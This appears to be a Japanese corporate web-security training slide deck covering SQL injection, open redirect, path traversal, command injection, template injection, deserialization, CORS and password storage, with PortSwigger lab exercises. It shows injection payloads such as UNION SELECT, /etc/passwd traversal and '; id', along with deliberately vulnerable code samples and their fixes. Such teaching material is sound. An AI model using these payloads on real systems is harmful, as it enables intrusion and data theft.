132. SQL インジェクションによる影響 • データベースの情報が窃取される • ログインのバイパスやデータ改ざん • 任意ファイルの読み書きや OS コマンドの実行 • ただし、DBMSの設定に依存することがある • https://pulsesecurity.co.nz/articles/postgres-sqli • 非常に危険な脆弱性であり、絶対に作り込んではいけない
133. SQL インジェクションはどこで発生するか • SQL を呼び出す場面 • CRUD 全部で発生する • SQL インジェクションと聞くと Web アプリケーションと MySQL や PostgreSQL などの RDBMS を連想するが、MongoDB のような NoSQL でも発生する • この場合は NoSQL Injection と呼ばれている • https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf
134. SQL インジェクションの原理 • リテラルからはみ出して SQL 構文が変化してしまうのが原因 SELECT * FROM users WHERE name='技術評論社'; SELECT * FROM users WHERE name='O'Reilly'; SELECT * FROM users WHERE name='O' OR 1=1 --';
135. SQL インジェクションを体験する前に... • SQL インジェクションは非常に危険な脆弱性 • 実際に発行されているSQLクエリがわからない場合、適当に試すとデータベースを吹き飛 ばす可能性がある • 絶対に本番環境で試したり、自分の管轄外のアプリケーションに試みてはいけない
136. SQL インジェクションの見つけ方 • ツールが多数あるのでそれを使ってもいいが、体系的な手動テストもある • 「'」を送信してエラーになったり異常になるか • ?page=1 の場合、?page=1+1 として2ページ目が返るか • OR 1=1 や OR 1=2 などでレスポンスに違いがあるか • コードから見つける場合は、ちゃんとプレースホルダを使っているかを見る • 文字列連結している場合は 🔥 $sql = "SELECT name FROM users"; $sql .= "WHERE" $sql .= "id = " . $_POST['id']
137. SQL Injection Challenge 1 https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data 下記のような SQL クエリがフィルタで使われている SELECT * FROM products WHERE category = 'Gifts' AND released = 1 SQL インジェクションで隠された商品を抜き出してみよう。 20件表示されたらOK!
138. 正常系
139. 異常系 category=Accessories’ category=Accessories’’
140. アプリケーションではどのようなクエリが発行されている ? SELECT * FROM products WHERE category = 'Accessories' AND released = 1; // SQL のシンタックスとしておかしいのでエラーになる SELECT * FROM products WHERE category = 'Accessories'' AND released = 1; // シングルクォーテーション 2つでSQLシンタックスとして正しい // クエリの内容は正常系と変わらないので、同じレスポンスが返る SELECT * FROM products WHERE category = 'Accessories''' AND released = 1;
141. 全ての商品を表示するにはどうすればいいだろう ? • $input 以降を自由に変更できる • WHERE 句全体が True になれば全部表示できそうですね ;) SELECT * FROM products WHERE category = $input AND released = 1; SELECT * FROM products WHERE category = 'PET' OR 1=1-- 'AND release=1
142. SQL Injection Challenge 2 https://portswigger.net/web-security/sql-injection/lab-login-bypass • administrator でログインしよう • アプリケーションで発行される SQL を想像してペイロードを考えよう • SELECT * FROM users WHERE name = $name AND pass = $pass
143. SQL Injection Challenge 3 https://portswigger.net/web-security/sql-injection/examining-the-database/lab-query ing-database-version-mysql-microsoft • MySQL のバージョンやテーブルなどを抜き出してみよう • '%20UNION%20SELECT%20@@version,NULL--%20 • '%20UNION%20SELECT%20schema_name,NULL%20FROM%20information_schema.schemata--%20 • '%20UNION%20SELECT%20TABLE_NAME,NULL%20FROM%20information_schema.tables--%20
144. SQL インジェクションの対策 • 安全なSQLの呼び出し方 https://www.ipa.go.jp/files/000017320.pdf • リテラルからはみ出して SQL 構文が変化してしまうのが原因 • SELECT * FROM users WHERE name='O'Reilly'; • なので、変更されないように プリペアドステートメント を用いて SQL 文を組み立てる • SELECT * FROM users WHERE name=?; • "?" はプレースホルダと呼ばれ、パラメータを埋め込むことを示す • SQL 文が事前に DB でコンパイルされ、その後、値がバインドされる • 安易に文字列連結をしないこと !
145. 脆弱なコード例 $stmt = $pdo->prepare('SELECT * FROM users WHERE city = :city AND gender = :gender'); $stmt->execute([':city' => $city, ':gender' => $gender]); OK $prepare = $pdo->prepare('SELECT * FROM users WHERE id = '. $id. ';'); $prepare->execute(); NG PHP
146. 脆弱なコード例 Model.where("name = '#{params[:name]}'") Model.where("name = ?", name) Model.where(name: name) OK NG Rails
147. Web セキュリティ研修 オープンリダイレクト セキュリティ対策室 Kohei Morita / @mrtc0
148. オープンリダイレクト - リダイレクト処理を行う場合に、ユーザー入力値を元にリダイレクトすると、攻撃者の用意し たサイトにリダイレクトされたり、 XSS が生じる
149. 脆弱な例 $redirect_url = $_GET['url']; header("Location: " . $redirect_url); PHP redirect_to params[:url] Rails
150. Open Redirect Challenge https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-ope n-redirection • 記事詳細ページに戻るリンク「Back to Blog」をクリックした際に実行される JavaScript に 脆弱性がある
151. 解説 returnURL = /url=https?:\/\/.+)/.exec(location); if(returnUrl) location.href = returnUrl[1]; else location.href = "/" url というパラメータの値が URL ぽかったら location.href でリダイレクトしている。 なので、https://...web-security-academy.net/post?postId=2&url=https://example.com で https://example.com にリダイレクトされる。
152. 対策の基本 - リダイレクトしてよい URL (host) を定義し、検証を行う - 言語の標準ライブラリとして URL Parser があるならそれを使う - 正規表現で頑張る場合は次の事項に気をつける - 入力値が / から始まっている場合は 安全とは限らない - //attacker.com は有効な URL である - ドメイン名の正規表現 - example.com.attacker.com にも対応できている? - http: , https: のみを受け入れる - javascript: を受け付けない
153. 対策2 - リダイレクト前に確認を取る
154. Directory Traversal
155. ディレクトリ・トラバーサルとは - パラメータの値を元にサーバー内のファイルを取得している場合に、アプリケーションの意 図しないファイルを取得や削除等される脆弱性 - パストラバーサルとも言う
156. 脆弱な例 $file = $_GET['file']; readfile("/var/www/html/static/" . $file); PHP file = params[:file] File.read(file) Rails
157. ディレクトリ・トラバーサルを体験 https://portswigger.net/web-security/file-path-traversal/lab-simple - レスポンスをよく見てファイルを取得していそうなパラメータを探す - ファイルの参照は絶対パス以外に相対パスを使う方法もある
158. 解説 - 画像を取得するのに filename パラメータがある - 46.jpg というファイルを取得していると推測できる - filename=../../../../../../../../../../../../etc/passwd にしてみると /etc/passwd が取得でき る
159. 対策 - ユーザーの入力値をファイルシステムを扱うような API に渡さない - ディレクトリを含まないようにする - basename() などを利用してファイル名だけを返す [1] pry(main)> File.basename "file.txt" => "file.txt" [2] pry(main)> File.basename "../../../../etc/passwd" => "passwd" [3] pry(main)> File.basename "/etc/passwd" => "passwd"
160. Remote Code Execution RCE
161. Remote Code Execution • 任意のコードを実行できる脆弱性を RCE ( Remote Code Execution ) と呼ぶ • RCE につながるケースは多々あるのでいくつか紹介
162. OS Command Injection
163. OS コマンドインジェクションとは - 外部入力値をOS コマンドに渡している場合に、任意のコマンドが実行できてしまう脆弱性 - OS コマンドを使って処理を行うことは絶対にやめてほしい
164. 脆弱な例 system("/path/to/command $user_input"); shell_exec($user_input); PHP eval(user_input) system("/path/to/command #{user_input}") `/path/to/command #{user_input}` Kernel.exec("/path/to/command #{user_input}") Rails
165. OS コマンドインジェクションの体験 - https://portswigger.net/web-security/os-command-injection/lab-simple - あるパラメータに OS コマンドインジェクションの脆弱性がある - ; id を入れてみよう - ; uname -a を入れてみよう - ls, cat, ps などのコマンドを実行してみよう
166. 解答
167. 対策 - [推奨] OS コマンドを実行しない方法を取る - OS コマンド等を利用せずに安全なライブラリを用いて処理を行う - OS コマンドに渡す入力値を英数字に限定する - シェル構文上で意味を持つ記号を排除することで OS コマンドインジェクションの対策となりま すが、コマンドのオプション値を通して悪用される可能性はあります。 - エスケープ処理を施す - 上記の対策が取れない場合に限り、 OS コマンドに渡す入力値をエスケープするようにしてくだ さい。オプションインジェクションが発生する可能性や、環境にも依存してしまうため、推奨され ている対策ではありません。
168. Template Injection
169. テンプレートインジェクション - 各言語にはテンプレートエンジンと呼ばれるライブラリがある - Ruby : ERB, Haml - PHP : Smarty, Twig - Python : Jinja2 - テンプレートエンジンにデータを渡すのではなく、構文として挿入された場合、任意のコード が実行される - 特にサーバーサイドの場合は OS コマンドが実行されることになる - サーバーサイドでのテンプレートインジェクションを SSTI ( Server Side Template Injection ) と呼ぶ
170. 脆弱な例
171. Client Template Injection (Vue.js) <div id="app"> <div> <?= htmlspecialchars($_GET['v'], ENT_QUOTES, 'utf-8') ?> </div> </div> <script> window.addEventListener('load', function () { new Vue({ el: '#app', }); }); </script> <script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script> PHP 側でエスケープされていても Vue のテンプレート構文はエ スケープされないので、次の文字列を与えることで XSS とな る。 {{ constructor.constructor("alert(1)")() }}
172. SSTI Challenge https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-se rver-side-template-injection-using-documentation
173. SSTI
174. テンプレートインジェクションへの対策 - ユーザーの入力値に基づいてテンプレート生成するのをやめましょう - どうしてもできない場合 は mustache のようなロジックレステンプレートエンジンを利用す ることで、影響を小さくすることができます
175. 安全でないデシリアライゼーション
176. Unsafe Deserialization - いくつかの言語にはオブジェクトを serialize / deserialize する機能がある - PHP : serialize() / deserialize() - Python : pickle - Ruby : Marshal - 外部入力値を Deserialize すると、任意コード実行につながる可能性がある - 必ずしも RCE になるわけではなく、その先の処理に依存する
177. Marshal [1] pry(main)> class User [1] pry(main)* attr_reader :name [1] pry(main)* [1] pry(main)* def initialize(name) [1] pry(main)* @name = name [1] pry(main)* end [1] pry(main)* end => :initialize [3] pry(main)> user = User.new( "weitarou") => #<User:0x00007fb19f554dc8 @name="weitarou"> [4] pry(main)> s = Marshal.dump(user) => "\x04\bo:\tUser\x06:\n@nameI\"\rweitarou\x06:\x06ET" [5] pry(main)> obj = Marshal.load(s) => #<User:0x00007fb1a0bdb8f8 @name="weitarou"> [7] pry(main)> obj.name => "weitarou"
178. https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-m odifying-serialized-objects PHP で `serialize()` された結果が Cookie に含まれています。 Unsafe Deserialization Challenge 1
179. ファイルアップロードにまつわる 脆弱性
180. ファイルアップロード機能を利用した任意コードの実行 - ファイルアップロード機能でアップロード可能なファイルの制限を施していない場合などで、 任意のコマンドが実行される可能性がある - 例えば image.png.php などというファイル名で PHP ファイルをアップロードし、アップロー ド先で、そのスクリプトを実行できる
181. Pixel Flood Attack - 画像の変換処理において、ピクセル情報部分のみを書き換えた画像をアップロードした場 合に ImageMagick などでメモリを大量消費させる手法
182. ファイルアップロード機能における脆弱性の対策 - アップロード先でファイルが実行できないようにする - アップロード時にアップロードしてよい拡張子 / MIME-Typeか確認すること - ファイル保存時に、元の拡張子を持ったまま、 ユニークなファイル名とする - ファイルダウンロード時には、XSS 対策として、拡張子と対応した Content-Type を付与 すること - アップロード時に、ファイルサイズや画像の色数等を制限すること
183. Web セキュリティ研修 ~ CORS ~ セキュリティ対策室 Kohei Morita / @mrtc0
184. Same Origin Policy 覚えていますか? • Cross Origin から自由にデータが取れるのは問題なので Same Origin Policy がある • しかし、JavaScript から API へリクエストしたいケースは良くあるので、 CORS という仕組み がある
185. • HTTP ヘッダを利用して Cross Origin なリソースへのアクセス権を与える仕組み • 一見、複雑ですが、実際に手を動かすことで理解できるので試しましょう CORS (Cross-Origin Resource Sharing)
186. • http://shop.local から http://api.shop.local/user.php のリソースを取得します Cross Origin への GET リクエスト ❯ curl -i 'http://api.shop.local/user.php' HTTP/1.1 200 OK Server: nginx/1.21.1 Date: Mon, 19 Jul 2021 09:55:50 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.20 {"username":"admin","email":"admin@example.com"}
187. 次のコードを実行すると取得できそうな気がしますが、エラーが発生します Cross Origin への GET リクエスト // shop.local/user.php (async() => { const response = await fetch('http://api.shop.local/user.php') })() ここで、Burp Suite の Proxy を見てください。API の疎通には成功しています。
188. • リクエストを送信できてもレスポンスにはアクセスができない状態になっている • この問題は Access-Control-Allow-Origin ヘッダをレスポンスに付与することで解決する Access-Control-Allow-Origin Access-Control-Allow-Origin: * | <origin> | null • 例えば shop.local から api.shop.local に接続して良い場合は、 api.shop.local の レスポンスヘッダに次のように指定する Access-Control-Allow-Origin: http://shop.local
189. // api.shop.local/user.php header('Content-Type: application/json'); header('Access-Control-Allow-Origin: http://shop.local'); ... Cross Origin への GET リクエスト
190. http://shop.local/update-email.php から http://api.shop.local/update-email.php にリクエストを送信 します。次のコードを実行すると取得できそうな気がしますが、エラーが発生します Cross Origin への POST リクエスト // shop.local/update-email.php const body = {email: "admin@example.com"} const options = { method: 'POST', mode: 'cors', headers: { 'Content-Type': 'application/json' }, body: body } const response = await fetch('http://api.shop.local/update-email.php', options)
191. Burp Suite で確認すると POST リクエストは送信されず、OPTIONS メソッドのリクエストが送信 されています。これを Preflight リクエストと呼びます。 Cross Origin への POST リクエスト
192. OPTIONS /update-email.php HTTP/1.1 Origin: http://shop.local Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type ... Preflight Request ~ Main Request までの流れ HTTP/1.1 200 OK Access-Control-Allow-Origin: http://shop.local Access-Control-Allow-Methods: POST, GET, OPTIONS POST /update-email.php HTTP/1.1 … {"email": "admin@example.com"} HTTP/1.1 200 OK Access-Control-Allow-Origin: http://shop.local ... {"result": "ok"} Preflight Request Main Request
193. Access-Control-Allow-Methods と Access-Control-Allow-Headers をつけてあげます Cross Origin への POST リクエスト // api.shop.local/update-email.php if ($_SERVER["REQUEST_METHOD"] === "OPTIONS") { // Preflight リクエストを通すには、ここのコメントを外す header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type'); return 0; }
194. • Access-Control-Allow-Origin でリソースへのアクセスを許可する Origin をブラウザに通知する • JavaScript がレスポンスに触れるかどうかであって、送信自体の是非を決めるものではないこ とに注意 • POST リクエストを送信する際は Preflight リクエストが発生する • ただし、Content-Type が text/plain など、特定の条件の場合は単純リクエストとして扱われる ため、Preflight リクエストは発生しない https://developer.mozilla.org/ja/docs/Web/HTTP/CORS#simple_requests ここまでのまとめ
195. • http://shop.local/me.php から http://api.shop.local/me.php へのリクエスト • Burp Suite でログを確認すると Cookie がリクエストに含まれていない 資格情報を含む Cross Origin への GET リクエスト
196. credential: "include" を設定して明示的に Cookie をリクエストに含めます 資格情報を含む Cross Origin への GET リクエスト // shop.local/me.php const me = async () => { const options = { credentials: "include" } const response = await fetch("http://api.shop.local/me.php", options) console.log(response) }
197. リクエストは無事 Cookie 付きで飛びますが、レスポンスを取得することはできません 資格情報を含む Cross Origin への GET リクエスト
198. • credentials フラグが True の場合に、レスポンスを開示して良いかを制御するレスポンスヘッダ Access-Control-Allow-Credentials Access-Control-Allow-Credentials: true • 今回は GET メソッドの単純リクエストなので Preflight リクエストが発生しない。そのため、リクエスト自体は送信 される。 // api.shop.local/me.php header('Content-Type: application/json'); header('Access-Control-Allow-Origin: http://shop.local'); // ここのコメントを外す header('Access-Control-Allow-Credentials: true');
199. • http://shop.local/update-password.php から http://api.shop.local/update-password.php へのリクエスト • 単純リクエストではないので、Preflight リクエストが飛んでいる • しかし、Access-Control-Allow-Origin が含まれていないので、後続の Main リクエストは 飛ばない 資格情報を含む Cross Origin への POST リクエスト
200. Prefight リクエストのレスポンスに Access-Control-Allow-Credentials: true を含めることで、後続の Main リクエストが送信できるようになる。 資格情報を含む Cross Origin への POST リクエスト // api.shop.local/update-password.php header('Access-Control-Allow-Origin: http://shop.local'); // ここのコメントを外す header('Access-Control-Allow-Credentials: true')
201. • Access-Control-Allow-Origin でリソースへのアクセスを許可する Origin をブラウザに通知する • JavaScript がレスポンスに触れるかどうかであって、送信自体の是非を決めるものではないこ とに注意 • POST リクエストを送信する際は Preflight リクエストが発生する • ただし、Content-Type が text/plain など、特定の条件の場合は単純リクエストとして扱われる ため、Preflight リクエストは発生しない https://developer.mozilla.org/ja/docs/Web/HTTP/CORS#simple_requests • Access-Control-Allow-Credentials を使うと credential フラグが True の場合にレスポンスを開示 できる • Preflight リクエストのレスポンスに含まれる場合は、後続の Main リクエストで資格情報を使 用するか否かを示す ここまでのまとめ
202. • Access-Control-Allow-Origin は * を指定することで、あらゆる Origin からリクエストを 受け付けることができる ◦ 自由に利用ができる外部公開 API として実装する場合は、この設定でも構わないが、許可した Origin からしか利用させたくない場合は、情報漏えいを防ぐために必ず指定すること。 ▪ https://attacker.com から認証機構のない社内アプリケーション API https://192.168.1.1/api/customers.json へのリクエストも想定できる • Access-Control-Allow-Origin: * で、Access-Control-Allow-Credentials: true を設定 するとどうなる? CORS のセキュリティ
203. • Access-Control-Allow-Origin: * と Access-Control-Allow-Credentials: true を指定す ると POST リクエストをどこからでも送信できるため、 CSRF が生じる可能性がある • しかし、Access-Control-Allow-Credentials: true を指定している場合は Access-Control-Allow-Origin に * ではなく Origin を指定しなければいけないことになっ ているため、実際にはリクエストは失敗する CORS のセキュリティ
204. • 前述したように、GET リクエストなどの単純リクエストの場合は、レスポンスを公開しないだ けで、リクエスト自体は処理されてしまうため、そこは注意 • CORS = CSRF 対策と誤解されることが多いですが、 CSRF 対策は別途必要です • Origin ヘッダ、もしくはカスタムヘッダの検証など CORS のセキュリティ
205. • 複数 Origin からリクエストを受け付けたい場合に Origin ヘッダなどから、動的に Access-Control-Allow-Origin を生成することがある • この場合は、返していい Origin を Allow List で定義して検証すること • また、null を指定しないこと (iframe からのリクエストは null になる) CORS の設定ミス
206. https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack CORS の設定ミスを利用して API キーを盗みだそう CORS Challenge
207. Web セキュリティ研修 ~ 安全なアプリケーションの作り方~ セキュリティ対策室 Kohei Morita / @mrtc0
208. 認証 / 認可
209. 認証と認可 - 認証(Authnentication)と認可(Authorization)は似た言葉だが意味が異なる - 認証 : 相手が誰かを確認する - 認可 : 権限に応じて適切なリソースを与える - Web アプリケーションの世界で言うと次のように言える - ログインは「誰」を確認するので認証 - 登録情報の変更は「セッション」に基づいて更新の可否を決定するので認可
210. 認証機能における脆弱性や攻撃 - ログイン処理にも様々あるが、ここではよくあるユーザー名とパスワードの組み合わせによ る認証を指す - ログイン処理に不備がある場合、不正にログインをされることになる
211. 総当り攻撃 - ログイン機能に対してユーザー名とパスワードの組み合わせを繰り返し試行する (ブルート フォース攻撃とも呼ぶ) - 過去に流出したパスワードを利用したり、よく利用されるパスワードを用いて試行を行う
212. 不正ログインへの対策 • ユーザーが強固なパスワードを設定するように誘導する • 文字列長、文字種を限定しない • HIBP などを利用して既に漏洩しているパスワードと一致している場合は登録させない • MFA の実装 • TOTP や SMS などの送信で本人確認を行う • 重要情報を扱うサービスは実装しておくのが当たり前になっていきている • アカウントロック機能 • 特定のアカウントへ一定数ログイン試行があった場合に、一定期間ログインできないようにする • 特定の IP アドレスからのアクセスを一定期間ロックする • パスワードレスな認証方式も検討しよう
213. その他気をつけること - ログイン失敗時にユーザーが存在する旨を返さない - 「そのメールアドレスは登録されていません」 - 「パスワードが間違っています」 - 👍「メールアドレスもしくはパスワードが間違っています」 - 秘密の質問やパスワード定期変更は推奨されない - https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 - ペパボでもガイドラインを設けています
214. メールアドレス変更 • ユーザーが間違ったメールアドレスを登録する可能性があるため、変更を確定する前に、 一度入力されたメールアドレスに送信して本人確認を行う
215. パスワード変更やパスワードリマインダ - 変更時は現在のパスワードを確認し、変更後はそのユーザーの全セッションを破棄する - パスワードリマインダは秘密の質問などを利用せずに登録されているメールアドレスにリマ インド用の URL を送付する - リマインド用の URL にはアカウントと紐付いたトークンを付与し、十分に推測困難であるこ と
216. 認可処理における脆弱性や攻撃 - ユーザーAのオブジェクトにユーザーBが触れるなど、権限外のユーザーによって情報の閲 覧や編集などの操作を行えることを「認可不備」や「権限外操作」などと呼ぶ - 認可は要件定義の時点で明確にしておき、実装は次のことに気をつける - 1. その画面を操作しても良いユーザーか - 2. そのリソースに対する操作の権限はあるか - 3. セッションを基準に権限を確認する
217. 特定ページの共有 - Google Docs のように特定のファイルやページを共有する機能を作る場合は URL が推測 困難なものを生成する - 推測可能なケースとして次のようなものがある - ID の連番 e.g: file_id=1, file_id=2… - ファイル名 - 推測困難な値を作って、かつ、衝突可能性も低いものを生成する - UUID など
218. 権限外操作のパターンを知ろう - https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-re quest-parameter - ユーザー carlos の API Key を取得しよう - https://portswigger.net/web-security/access-control/lab-insecure-direct-object-r eferences - ユーザー carlos のパスワードを取得してログインしよう - https://portswigger.net/web-security/access-control/lab-multi-step-process-with -no-access-control-on-one-step - ユーザー wiener で権限昇格しよう
219. • https://portswigger.net/web-security/authentication/other-mechanisms/lab-pas sword-reset-broken-logic • https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple -bypass • https://portswigger.net/web-security/authentication/other-mechanisms/lab-offli ne-password-cracking • https://portswigger.net/web-security/information-disclosure/exploiting/lab-infol eak-authentication-bypass 認証認可周りの脆弱性パターンを知ろう
220. 秘匿情報の管理方法
221. 秘匿情報の管理方法 - アプリケーションは様々な秘匿情報を扱う - ユーザーのパスワード - データベースや他サービスへの接続情報 - フレームワークで利用される暗号鍵 - これらを漏洩しないように、あるいは、漏洩しても影響を小さくするために適切に管理をしな ければならない
222. ユーザーのパスワードの保存方法について - サービスのアカウント(ユーザー)のパスワードはハッシュ化 + ソルト + ストレッチングした上 で保存するのが望ましい - ハッシュ関数がライブラリとして提供されているので、それを利用する
223. ハッシュ - 暗号学的ハッシュ関数 (md5, sha1, sha256, etc…)など様々ある - 暗号技術入門 第3版　秘密の国のアリス を読もう - ハッシュ化された文字列から平文を得ることが困難である、不可逆性を持っている ❯ echo -n "password" | sha256sum 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
224. パスワードをハッシュで保存することの問題点 • 先のハッシュ値をGoogle で検索すると password であることが分かる • 事前にハッシュ値を計算したもの (レインボーテーブル )と照らし合わせることで、ハッシュ化されていて も平文を得ることが可能になる • そのため、パスワードを保存した DB が漏洩した場合も、ハッシュ化だけでは不十分である
225. ソルト • ハッシュ化だけでは不十分なのでソルトと呼ばれる文字列を元のパスワードに追加した上 でハッシュ化を行うようにする • 見た目上は長くなる • ユーザーごとに異なるソルトを使うことで、同じパスワードでも異なるハッシュ値となる def salt(id) id + "THIS_IS_SALT" end hash(salt(id) + "password")
226. ストレッチング - ソルトを使っても結局総当りには弱いままなので、ハッシュの計算を繰り返し行うことで、計 算時間を遅くする def salt(id) id + "THIS_IS_SALT" end h = "" 100.times do |t| h = hash(h + salt + "password") end
227. 既存の実装 - bcrypt, pbfdk2 などの実装があり、それを利用することを推奨 - Rails だと has_secure_password で bcrypt が利用される - 例えば bcrypt でハッシュ化されたパスワードは次のようになる >>> $hash = password_hash("password", PASSWORD_DEFAULT); => "$2y$10$4HI2x10.CHwFDuBUEZe9U.VyUR2uVaL/YV64.TeMxTiOkzaSMxnSy" バージョン コスト ソルト ハッシュ
228. bcrypt の注意点 - 72バイトで切り詰められてしまう >>> $hash = password_hash(str_repeat("A", 72) . "B", PASSWORD_DEFAULT) => "$2y$10$znKk72R9RoyAAA6orsmP5OnmbStjfG7xJ4/qFh6EncjO5B4pVfWyq" >>> password_verify(str_repeat("A", 72) . "B", $hash); => true >>> password_verify(str_repeat("A", 72), $hash); => true
229. フレームワーク固有の鍵 - Rails での SECRET_KEY_BASE や Django の SECRET_KEY など - これらの値は Cookie 等の Serialize / Deserialize に利用されていることがある - 仮に漏洩した場合は任意コード実行につながる可能性があると考えていい - そのため、git 管理から外す(暗号化する)、すぐにローテションできるようにしておくなどの必 要がある
230. 秘匿情報のハードコーディングや git での管理について • リポジトリにパスワードやトークンを 含めることは GHES 環境でも、やめてほしい • どこで漏洩するかがわからない (e.g. Codecov 事件) • モバイルやフロントエンドなど、エンドユーザーにリバースエンジニアリングされる可能性のある ものはなおさら • Kubernetes の Secret は Base64 なので簡単に復号できる • プロビジョニングツール等にも Vault などの暗号化した上で保存する仕組みがあるので、そ れを利用すること • git-secret などのツールを使って commit しないように気をつけよう
231. ログも秘匿情報になりえる - ログにパスワードやクレジットカード番号、その他個人情報を記録しないようにすること - デバッグログには機密情報が含まれることがあるため抑制すること - ログインや重要操作などの行動ログを残しておくとインシデントの際に調査が簡単 - ログの改ざんなどを防ぐために定期的に外部ストレージにバックアップを取ること
232. セキュアコーディングの実践
233. 安全なアプリケーション開発や運用を支えるツール - 脆弱性のないコードを書くことは難しいことなので、できるだけツールを活用していくことが 望ましい - 脆弱性を作り込んでしまった場合やレビューでの見逃しへの多層防御 - TN / FP も多い世界なので、根気よくルールを作ったりしていく必要がある
234. WAF ( Web Application Firewall ) - 攻撃っぽい文字列を含んだ文字列を検知 / ブロックするツール - 多くの WAF はシグネチャベース。また、全ての攻撃を防げるわけでない - "etc/passwd" という文字列があれば弾く、など - 例えばその場合の OS コマンドインジェクションのバイパス /?q=/b?n/c?t /e?c/p????d # bash の補完を利用 - 当然正常なリクエストも検知することがあるので、ルールを緩めていいかの見極めが必要と なる
235. SAST ( Static Application Security Testing ) - 脆弱性を含んだコードを書いていないかを調べる - Go だと gosec1, Rails だと Brakeman2 などが有名 - インフラ向けにも tfsec3 や checkov4, inspec5 (これは SAST ではないが...)などのツールがあ る - XSS のような自明な脆弱性は見つけることができるが、当然ながらアプリケーションロジック に依存するようなものは検知できない - ペパボでも Actions を用意しているので積極的に利用してください 1. https://github.com/securego/gosec 2. https://github.com/presidentbeef/brakeman 3. https://github.com/liamg/tfsec 4. https://github.com/bridgecrewio/checkov 5. https://www.inspec.io/
236. DAST ( Dynamic Application Security Testing ) - 実際に動作しているアプリケーションに機械的に攻撃リクエストを送信して脆弱性を見つける方 法 - 脆弱性スキャナとしての性能とクローラーの性能を基準として選ぶことが多いと思う - クロール/スキャン時間が非常に長いので PR ごとに全部検査するのは難しいところも - 脆弱性作りこんでいないか心配な場合は Burp Suite や OWASP ZAP を使って特定の URL に 試してみたりすると :+1:
237. テストを書く - 意図したとおりに動くか、というテストを書く - ユーザー A のデータを、ユーザー B が操作できないこと - 脆弱性のチェックもテストで書いてみる - script タグを入力値として与えたときにエスケープされて表示されること - '-- を入力値として与えても SQL エラーにならないこと - GitLab や SQLite などの著名な OSS や製品でも、こういったテストが書かれている - https://gitlab.com/gitlab-org/gitlab-foss/-/blob/48641d6d58d6d5d19b8b2ffc66646c7e 94d552a1/spec/lib/gitlab/emoji_spec.rb#L97
238. 依存パッケージのアップデート - OS, ミドルウェア, 依存パッケージのアップデートを行うこと - 脆弱性対応のバージョンと使用バージョンの間で破壊的変更がある場合、アップデートに時 間がかかり、その間無防備になる - 最新のバージョンを使い続けることで、既存のバグやパフォーマンスの問題を踏まなくて良 くなるという見方もできる
239. • まだまだ気をつけるべき点は、たくさんあります • まずはペパボのセキュリティガイドラインに目を通しましょう • Slack の #sss チャンネルで質問したり、「体系的に学ぶ 安全なWebアプリケーションの作 り方」を読んでみましょう 最後に
240. • CTF と呼ばれるセキュリティ技術を競うコンテストが毎週のように開催されていますし、常設 CTF と呼ばれるものもあります • https://ctftime.org/ • 書籍も出ているので (しかも7/22に新しくでる!)、これを機に入門してみるといいかも • BugBounty • http://hackerone.com/ にあるように、色々な企業が脆弱性報奨金制度を運用している • 法律には気をつけて ! • Happy Hacking ! セキュリティ技術を活かしたい